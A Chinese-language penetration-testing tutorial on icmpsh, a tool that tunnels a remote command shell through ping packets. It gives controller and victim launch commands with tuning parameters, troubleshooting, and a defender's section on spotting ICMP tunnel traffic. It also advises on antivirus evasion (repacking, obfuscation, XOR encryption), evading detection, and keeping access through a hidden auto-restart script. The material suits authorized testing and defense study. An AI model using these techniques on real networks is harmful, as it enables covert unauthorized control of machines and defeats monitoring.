
1. 内网隧道与 ICMP 通道的核心定位内网渗透做到一定深度绕不开一个现实问题目标网络边界防护越来越严常规的 TCP/UDP 出站流量被防火墙、入侵检测设备盯得很死很多端口直接封禁正向连接进不去反向连接也出不来。这时候就得换思路把目光投向那些看起来人畜无害的协议上。ICMP 就是其中最经典的一个——ping 命令天天在用网络设备默认放行安全设备对它的警惕性也相对较低。icmpsh 这个工具就是利用 ICMP 协议搭建一条隐蔽隧道把命令行的输入输出封装进 ICMP 数据包里实现一台机器对另一台机器的远程控制。说白了icmpsh 干的事情就是让被控端主动向控制端发送 ICMP 回显请求也就是我们常说的 ping 包控制端收到后把要执行的命令塞进 ICMP 回显应答里发回去被控端解析出来执行再把结果通过下一个 ping 包带回来。整个过程在流量层面看就是一来一回的 ping非常不起眼。这个工具适合谁用适合已经拿到内网某台机器执行权限、需要进一步横向或维持访问的安全从业者也适合做内网安全评估时验证 ICMP 出站策略是否被合理管控。对于刚接触内网隧道的新手来说icmpsh 是一个非常好的入门样本因为它足够简单代码量不大原理清晰搞懂它之后再去看 DNS 隧道、HTTP 隧道会轻松很多。需要提前说明的是icmpsh 本身是一个比较早期的工具原作者已经不再维护网上流传的版本五花八门有些编译好的二进制文件甚至被人动过手脚。我建议有条件的话自己从源码编译至少能确保手里这个工具是干净的。另外icmpsh 在 Windows 上运行需要目标机器有 Python 环境或者能跑编译好的 exe这一点在实际环境中经常成为卡脖子的地方后面会详细说怎么处理。2. icmpsh 的工作原理与协议细节拆解2.1 ICMP 隧道到底是怎么把数据藏进 ping 包里的要理解 icmpsh先得把 ICMP 协议的结构搞清楚。ICMP 报文头部一共 8 个字节分别是类型Type、代码Code、校验和Checksum、标识符Identifier、序列号Sequence Number后面跟着的就是数据部分。我们平时用的 ping类型是 8回显请求和 0回显应答数据部分默认填的是一些递增的字节或者时间戳。icmpsh 的做法很直接它不关心数据部分原本该填什么直接把要传输的命令或结果数据塞进 ICMP 的数据字段里。因为 ICMP 数据字段的长度是可变的理论上你可以塞进去相当多的内容只要不超过链路的 MTU 限制就行。这里有个关键点icmpsh 用的是回显请求和回显应答这一对类型而不是其他类型的 ICMP 报文。为什么因为回显请求/应答是绝大多数网络设备默认放行的你很少见到有人把 ping 彻底禁掉那样连基本的网络排障都没法做了。相比之下ICMP 重定向、时间戳请求这些类型在很多环境里是被直接丢弃的。所以选择回显类型本质上是在可用性和隐蔽性之间取了一个平衡点。icmpsh 的具体数据封装方式是这样的控制端服务端监听本机的 ICMP 流量被控端客户端主动向控制端发送回显请求。控制端收到请求后把要执行的命令放在回显应答的数据字段里发回去。被控端收到应答提取数据字段中的命令在本地 shell 里执行然后把执行结果通过下一个回显请求的数据字段发回给控制端。整个过程是半双工的一来一回节奏由被控端的请求驱动。这种设计的好处是被控端不需要开放任何监听端口所有连接都是从内向外发起的天然穿透 NAT 和大部分出站防火墙。2.2 为什么选 icmpsh 而不是其他隧道工具内网隧道工具很多DNS 隧道有 dnscat2HTTP 隧道有 reGeorg、Neo-reGeorgTCP 隧道有 frp、ngrok 这类。icmpsh 跟它们比优势和劣势都很明显。优势在于第一ICMP 协议几乎不会被完全封禁很多环境里 DNS 和 HTTP 都有代理或者深度检测但 ICMP 往往被忽略第二icmpsh 不需要目标机器安装任何额外的运行时依赖如果用编译好的 exe 的话一个文件丢过去就能跑第三它的流量特征就是 ping混在正常的网络监控流量里很难被区分出来。劣势也很突出第一ICMP 隧道速度慢因为 ping 包本身就不适合承载大量数据而且很多设备对 ICMP 报文有速率限制你发太快反而会引起注意第二icmpsh 只支持命令执行不支持文件传输、端口转发这些功能功能比较单一第三它需要控制端有一个公网 IP 或者能被被控端直接访问到的地址如果控制端也在内网那就得先解决控制端的可达性问题。所以 icmpsh 的定位很明确它是一个轻量级的、用于命令执行的备用通道适合在常规通道被封死的时候作为应急手段而不是主力隧道方案。2.3 icmpsh 的通信模型与角色划分icmpsh 的通信模型是典型的反向连接模式。控制端运行icmpsh_m.py这个 Python 脚本它会在本地监听 ICMP 流量等待被控端的连接。被控端运行icmpsh.exe它主动向控制端的 IP 地址发送 ICMP 回显请求。这里有一个容易搞混的地方控制端在 icmpsh 的语境里叫服务端被控端叫客户端但从网络连接的方向来看实际上是客户端主动连服务端跟传统的 C/S 模型方向相反。这个设计是为了适应内网环境——被控端通常没有公网 IP无法接受外部连接只能主动往外发起。控制端的 IP 地址需要提前配置在被控端的启动参数里。被控端启动后会持续向控制端发送 ICMP 请求控制端收到后建立会话然后就可以在控制端的终端里输入命令了。命令的执行结果会通过 ICMP 应答返回显示在控制端的终端上。整个交互体验跟 SSH 或者 telnet 很像只不过底层跑的是 ICMP 而不是 TCP。3. 环境准备与工具获取的实操细节3.1 控制端的系统选择与依赖安装控制端我建议用 LinuxUbuntu 或者 Kali 都行。icmpsh 的控制端脚本是 Python 写的依赖scapy这个库来构造和解析 ICMP 包。scapy 在 Linux 上安装比较顺畅Windows 上虽然也能装但经常遇到网卡驱动和权限的问题折腾起来不划算。安装依赖的命令很简单sudo apt update sudo apt install python3 python3-pip pip3 install scapy这里有个细节要注意icmpsh 的控制端脚本需要原始套接字权限才能收发 ICMP 包所以必须用 root 权限运行或者给 Python 解释器赋予CAP_NET_RAW能力。我一般直接sudo跑省事。另外控制端的防火墙要放行 ICMP 流量如果你用的是云主机安全组里也要确认 ICMP 协议是允许的。有些云服务商默认屏蔽 ICMP这个坑我踩过排查了半天才发现是安全组的问题。3.2 被控端的运行环境与兼容性处理被控端如果是 Windows 机器最省事的办法是用作者提供的编译好的icmpsh.exe。但这个 exe 是很多年前编译的在一些新版本的 Windows 上可能会被杀毒软件直接查杀或者因为缺少某些运行库而无法启动。我的经验是如果目标机器上有 Python 环境直接用 Python 脚本跑被控端会更稳定因为你可以自己控制代码内容也方便做免杀处理。被控端的 Python 脚本核心逻辑就是构造 ICMP 包、发送、接收、解析、执行命令代码量不大自己改一改就能用。如果目标机器是 Linux那就更简单了直接用 Python 脚本跑就行不需要编译。但要注意目标机器的 Python 版本icmpsh 的原始代码是基于 Python 2 写的如果你在 Python 3 环境下跑需要做一些语法上的适配比如print语句要加括号字符串和字节串的转换要处理好。我建议直接把代码迁移到 Python 3因为现在很多新系统默认只有 Python 3没有 Python 2。3.3 网络连通性预检与 ICMP 放行确认在正式部署 icmpsh 之前一定要先确认被控端到控制端的 ICMP 连通性。最简单的办法就是在被控端上直接ping控制端的 IP 地址看能不能通。如果 ping 不通那 icmpsh 肯定也跑不起来得先排查网络策略。有些环境里 ICMP 被限速或者被部分丢弃表现为 ping 有时候通有时候不通这种情况下 icmpsh 的会话会非常不稳定需要调整发送频率或者换其他隧道方案。还有一个容易被忽略的点控制端如果有多个网卡icmpsh 默认可能会监听错误的网卡。你需要在脚本里指定监听的 IP 地址或者用-f参数强制指定。我一般会在启动控制端之前先用ip addr确认一下网卡和 IP避免因为监听地址不对导致收不到包。4. 完整实操流程与关键环节实现4.1 控制端启动与参数配置详解控制端的启动命令格式是这样的sudo python3 icmpsh_m.py 控制端IP 被控端IP第一个参数是控制端自己的 IP第二个参数是被控端的 IP。有些版本的脚本参数顺序可能不一样启动前最好先看一眼脚本里的argparse或者sys.argv处理逻辑。启动成功后控制端会进入监听状态终端上不会有太多输出就是静静地等包。这时候你可以用tcpdump在另一个终端里抓一下 ICMP 包确认控制端确实在收发sudo tcpdump -i any icmp -n如果看到有来自被控端 IP 的 echo request并且控制端有 echo reply 发出去说明隧道已经通了。这时候控制端的终端里应该会出现一个类似 shell 的提示符你就可以输入命令了。4.2 被控端部署与启动命令拆解被控端的启动命令根据运行方式不同有所区别。如果是用编译好的 exeicmpsh.exe -t 控制端IP -d 500 -b 30 -s 128这里的参数含义分别是-t指定控制端 IP-d是发送 ICMP 包的间隔毫秒-b是缓冲区大小-s是每个包的数据字节数。如果是用 Python 脚本python3 icmpsh_c.py -t 控制端IP -d 500 -b 30 -s 128参数含义一样。-d这个参数很关键设得太小比如 100 毫秒会导致发包频率过高容易被网络设备限速或者触发告警设得太大比如 2000 毫秒又会让交互体验非常卡顿输入一个命令要等好几秒才有回显。我实测下来500 毫秒是一个比较平衡的值既不会太频繁又能保证基本的交互流畅度。-s参数控制每个 ICMP 包携带的数据量默认值通常够用如果你要传输大文件或者长命令可以适当调大但不要超过链路的 MTU否则会被分片反而影响稳定性。4.3 命令执行与结果回传的现场记录隧道建立之后控制端终端里会出现一个交互界面。你输入whoami被控端执行后把结果通过 ICMP 包传回来控制端解析后显示在终端上。整个过程跟 SSH 体验类似但延迟明显更高因为每个命令的执行结果都要经过 ICMP 包的往返。我实测在同一个局域网内延迟大概在几百毫秒到一秒之间如果是跨公网延迟会更大有时候要两三秒才能看到回显。这里有一个实操技巧尽量不要在 icmpsh 的会话里执行交互式命令比如vim、top这种需要实时刷新的程序因为 ICMP 隧道的带宽和延迟撑不住这种交互体验会非常糟糕。尽量用非交互式的命令比如dir、ipconfig、net user这种一次性输出结果的命令。如果确实需要执行交互式操作可以考虑通过 icmpsh 上传一个功能更完整的后门工具然后用那个工具来做后续操作。4.4 会话维持与断线重连的处理icmpsh 的会话稳定性受网络质量影响很大。如果中间网络出现抖动ICMP 包丢失会话可能会中断。控制端脚本一般会在收到被控端的请求后维持一个会话状态但如果长时间收不到包会话就会超时。被控端那边如果发送失败通常会自动重试但重试次数和间隔取决于具体实现。我在实际使用中遇到过被控端发了几个包之后就没动静了排查发现是目标机器的防火墙对 ICMP 做了速率限制超过一定频率的包直接被丢弃。解决办法是把-d参数调大降低发送频率或者换一个网络路径。如果会话断了被控端需要重新启动才能重新建立连接。所以我在部署被控端的时候一般会写一个简单的守护脚本检测到 icmpsh 进程退出就自动重启这样即使会话断了也能自动恢复。当然这个守护脚本本身也要注意隐蔽性不要留下明显的进程名或者日志。5. 常见问题排查与避坑经验实录5.1 控制端收不到包怎么办这是最常见的问题。排查思路从下往上走先确认被控端能不能 ping 通控制端如果 ping 不通那就是网络层的问题检查路由、防火墙、安全组。如果能 ping 通但 icmpsh 收不到包那可能是控制端脚本监听的网卡不对或者被控端发送的目标 IP 不对。还有一种情况是控制端所在的网络对 ICMP 回显请求做了特殊处理比如只允许出不允许入这种情况下被控端的请求能出去但控制端的应答回不来隧道也建立不起来。我遇到过一次控制端在云主机上云服务商的安全组默认只放行了 TCPICMP 需要手动添加规则加上之后立刻就通了。5.2 被控端执行命令无回显的排查有时候隧道看起来通了控制端也能输入命令但就是看不到执行结果。这种情况通常是数据封装或者解析出了问题。先检查被控端的命令执行逻辑确认命令确实被执行了。可以在被控端本地开一个终端手动执行同样的命令看有没有输出。如果本地有输出但隧道里没有那就是结果回传的环节有问题。常见原因是 ICMP 包的数据字段长度超过了链路 MTU导致包被分片或者丢弃。解决办法是减小-s参数的值让每个包携带的数据少一点。另外有些命令的输出包含特殊字符或者二进制数据在 ICMP 包里传输时可能会被截断或者转义错误尽量用简单的文本命令。5.3 杀软拦截与免杀处理的思路icmpsh.exe 这个文件名和它的行为特征已经被主流杀毒软件收录了直接丢到目标机器上大概率会被查杀。我的处理思路是第一不要用原版的 exe自己用 Python 脚本跑或者用 PyInstaller 重新打包一个 exe改一下图标和版本信息第二对脚本代码做简单的混淆比如把关键字符串拆分成多段拼接把函数名改成无意义的字符第三如果目标机器上有 Python 环境直接用脚本跑脚本文件比 exe 更容易绕过静态查杀因为杀软对脚本的检测通常弱于对 PE 文件的检测。当然这些操作要在合法授权的范围内进行不要用于未授权的环境。5.4 常见问题速查表问题现象可能原因排查方法解决措施控制端收不到任何包网络不通或 ICMP 被禁被控端 ping 控制端检查防火墙、安全组、路由能收到包但无法建立会话监听网卡错误检查控制端脚本监听地址指定正确的监听 IP命令无回显数据包过大被分片减小-s参数调整缓冲区大小会话频繁断开ICMP 被限速抓包看丢包率增大-d参数降低频率被控端启动即被杀杀软查杀查看杀软日志换用脚本或做免杀处理控制端终端无提示符脚本版本不兼容检查 Python 版本迁移到 Python 36. 检测对抗与流量特征分析6.1 ICMP 隧道的流量特征icmpsh 的流量特征其实比较明显只是很多人不去看而已。正常的 ping 流量数据字段通常是有规律的比如 Windows 的 ping 默认填充的是abcdefghijklmnopqrstuvwabcdefghi这样的固定字符串Linux 的 ping 默认填充的是递增的字节。而 icmpsh 的 ICMP 包数据字段里装的是命令和命令执行结果内容五花八门长度也不固定。如果你在流量监控设备上看到大量 ICMP 包数据字段的内容不是标准填充模式而且包的长度变化很大那基本可以判定是 ICMP 隧道。另外icmpsh 的通信模式是持续的双向 ICMP 交互而不是像正常 ping 那样一次发几个包就结束。正常的 ping 命令一般发 4 个包就停了而 icmpsh 的会话会持续很长时间包的数量和频率都远超正常水平。这些特征在专业的流量分析设备上是可以被识别出来的。所以 icmpsh 的隐蔽性只是相对的它骗得过普通的防火墙但骗不过有 ICMP 深度检测能力的设备。6.2 蓝队视角的检测思路从防守方的角度来看检测 ICMP 隧道有几个切入点。第一统计 ICMP 包的数据字段长度分布正常 ping 的包长度比较固定隧道的包长度变化大。第二检查 ICMP 包的数据内容看是否包含可打印字符、命令关键词、文件路径等异常内容。第三监控 ICMP 包的发送频率和持续时间正常 ping 很少持续几分钟以上而隧道会话可能持续几小时。第四关联分析如果一台机器在短时间内同时出现 ICMP 异常流量和其他可疑行为比如异常进程启动、敏感文件访问那基本可以确认有问题。6.3 红队视角的规避策略从攻击方的角度来说要降低 icmpsh 被检测的概率可以从几个方面入手。第一控制发包频率不要发太快-d参数设大一点让流量看起来更像正常的 ping。第二对数据字段做编码比如把命令和结果做 Base64 编码后再塞进 ICMP 包这样数据字段里就没有明显的可打印字符了。第三控制会话时长不要一直挂着用完就断减少暴露窗口。第四结合其他隧道方案不要把所有流量都压在 ICMP 上可以 ICMP 和 DNS 交替使用增加检测难度。当然这些策略的前提是你有合法的授权在授权的范围内做安全评估。7. 个人实操体会与后续扩展方向icmpsh 这个工具我用了很多年从最早的 Python 2 版本到后来自己改的 Python 3 版本踩过的坑不少。最大的体会是ICMP 隧道虽然简单但它的稳定性高度依赖网络环境的质量。在同一个局域网内icmpsh 跑起来很顺畅延迟低命令回显快但一旦跨公网尤其是经过多个运营商跳转的时候丢包和延迟就会变得很明显有时候一个简单的whoami要等好几秒才能看到结果。所以我在实际项目中一般把 icmpsh 作为备用通道主力通道还是用更稳定的 TCP 隧道或者 DNS 隧道icmpsh 只在其他通道都被封死的时候才启用。另外icmpsh 的代码本身有很多可以优化的地方。比如原始版本不支持加密所有命令和结果都是明文传输的这在一些对流量审计比较严格的环境里很容易被识别。我自己改过一版在数据字段里加了简单的异或加密虽然强度不高但至少能绕过基于关键词的流量检测。还有原始版本不支持文件传输我后来加了一个简单的文件分块传输功能通过 ICMP 包把文件切成小块传过去虽然速度慢但应急的时候能用。后续如果想深入学习内网隧道技术icmpsh 是一个很好的起点但不要止步于此。建议接着研究 DNS 隧道比如 dnscat2 和 iodine它们的原理跟 ICMP 隧道类似都是把数据封装在特定协议的字段里但 DNS 的可用性比 ICMP 更广因为几乎所有的网络都允许 DNS 查询出站。再往后可以看 HTTP 隧道和 TCP 隧道理解不同协议层次的隧道各自的优缺点和适用场景。把这一套东西都摸透了内网穿透和横向移动的基本功就算扎实了。最后分享一个小技巧在部署 icmpsh 之前先用hping3或者nping这类工具手动构造几个 ICMP 包测试一下目标网络对 ICMP 的放行策略和速率限制。这样可以在正式部署之前就摸清网络环境避免部署到一半发现 ICMP 被限速白忙一场。这个预检步骤花不了几分钟但能省下很多排查时间。